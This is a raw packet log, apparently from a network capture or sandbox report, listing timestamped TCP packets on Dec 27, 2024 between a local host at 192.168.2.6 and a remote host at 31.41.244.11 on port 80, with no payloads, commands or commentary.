Dec 27, 2024 08:52:12.650927067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.650966883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.651005030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.652061939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.652111053 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.652132988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.652184010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.653198004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.653249025 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.653309107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.653372049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.654390097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.654439926 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.654535055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.654582024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.655613899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.655661106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.655690908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.655731916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.656747103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.656809092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.656833887 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.656924009 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.657931089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.657999039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.658030033 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.658082962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.659064054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.659116030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.659209967 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.659255028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.660248995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.660300970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.660347939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.660388947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.661441088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.661489964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.661556959 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.661604881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.662595034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.662647963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.662710905 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.662759066 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.663789034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.663846016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.663898945 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.663945913 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.664948940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.665000916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.665060997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.665124893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.666130066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.666178942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.666227102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.666273117 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.667294979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.667345047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.667397976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.667443037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.668467045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.668519974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.668615103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.668663025 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.669656038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.669699907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.669796944 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.669852972 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.670831919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.670881033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.670944929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.670991898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.671973944 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.672024012 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.672091007 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.672132969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.673144102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.673192024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.673259020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.673300028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.674319029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.674370050 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.674437046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.674479961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.675513983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.675575972 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.675641060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.675683022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.676662922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.676708937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.676804066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.676863909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.677869081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.677980900 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.677995920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.678047895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.679033995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.679081917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.679141998 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.679183960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.680188894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.680231094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.680308104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.680350065 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.681392908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.681446075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.681477070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.681520939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.682547092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.682598114 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.682650089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.682694912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.683716059 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.683778048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.683830976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.683873892 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.684912920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.684964895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.684990883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.685031891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.686218023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.686289072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.686319113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.686362028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.817620039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.817691088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.817702055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.817742109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.818064928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.818136930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.818144083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.818177938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.819269896 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.819333076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.819405079 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.819449902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.820435047 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.820518017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.820868969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.820898056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.820921898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.820950985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.821974039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.822035074 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.822091103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.822138071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.823116064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.823172092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.823204041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.823256969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.824487925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.824548960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.824589968 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.824637890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.825499058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.825557947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.825577974 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.825619936 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.826661110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.826724052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.826750994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.826802015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.827828884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.827883005 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.827928066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.827976942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.828983068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.829035044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.829132080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.829176903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.830171108 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.830235004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.830319881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.830363989 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.831368923 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.831427097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.831439018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.831486940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.832570076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.832606077 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.832643032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.832653999 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.833725929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.833760023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.833787918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.833811045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.834881067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.834943056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.834973097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.835022926 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.836036921 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.836092949 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.836114883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.836159945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.837218046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.837259054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.837275028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.837291956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.838428974 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.838484049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.838510036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.838571072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.839546919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.839597940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.839631081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.839680910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.840745926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.840780020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.840802908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.840818882 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.841873884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.841931105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.841985941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.842045069 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.843092918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.843147993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.843163967 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.843208075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.844244003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.844296932 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.844329119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.844387054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.845444918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.845479012 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.845536947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.845560074 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.846584082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.846641064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.846684933 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.846738100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.847770929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.847829103 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.847842932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.847959995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.848963976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.849026918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.849072933 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.849122047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.850179911 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.850243092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.850285053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.850325108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.851281881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.851344109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.851392031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.851440907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.852453947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.852509022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.852538109 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.852581978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.853647947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.853704929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.853735924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.853776932 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.854794025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.854836941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.854965925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.855014086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.856000900 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.856061935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.856106997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.856149912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.857148886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.857196093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.857242107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.857280016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.858329058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.858381987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.858412027 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.858458042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.859493971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.859558105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.859575033 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.859618902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.860714912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.860766888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.860826969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.860871077 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.861850977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.861898899 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.861953020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.861999035 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.863075018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.863111019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.863137007 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.863157988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.864216089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.864268064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.865410089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.865426064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.865461111 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.865515947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.865556002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.865596056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.866552114 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.866605043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.866635084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.866679907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.867722034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.867773056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.867818117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.867861986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.868885040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.868933916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.868985891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.869029045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.870055914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.870107889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.870140076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.870183945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.871234894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.871325970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.871332884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.871372938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.872430086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.872488022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.872513056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.872554064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.873584986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.873630047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.873692989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.873734951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.874759912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.874805927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.874927998 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.874967098 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.875960112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.876005888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.876065016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.876106024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.877068043 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.877116919 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.877173901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.877216101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.878310919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.878334999 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.878360033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.878381014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.009687901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.009733915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.009769917 CET	49949	80	192.168.2.6	31.41.244.11
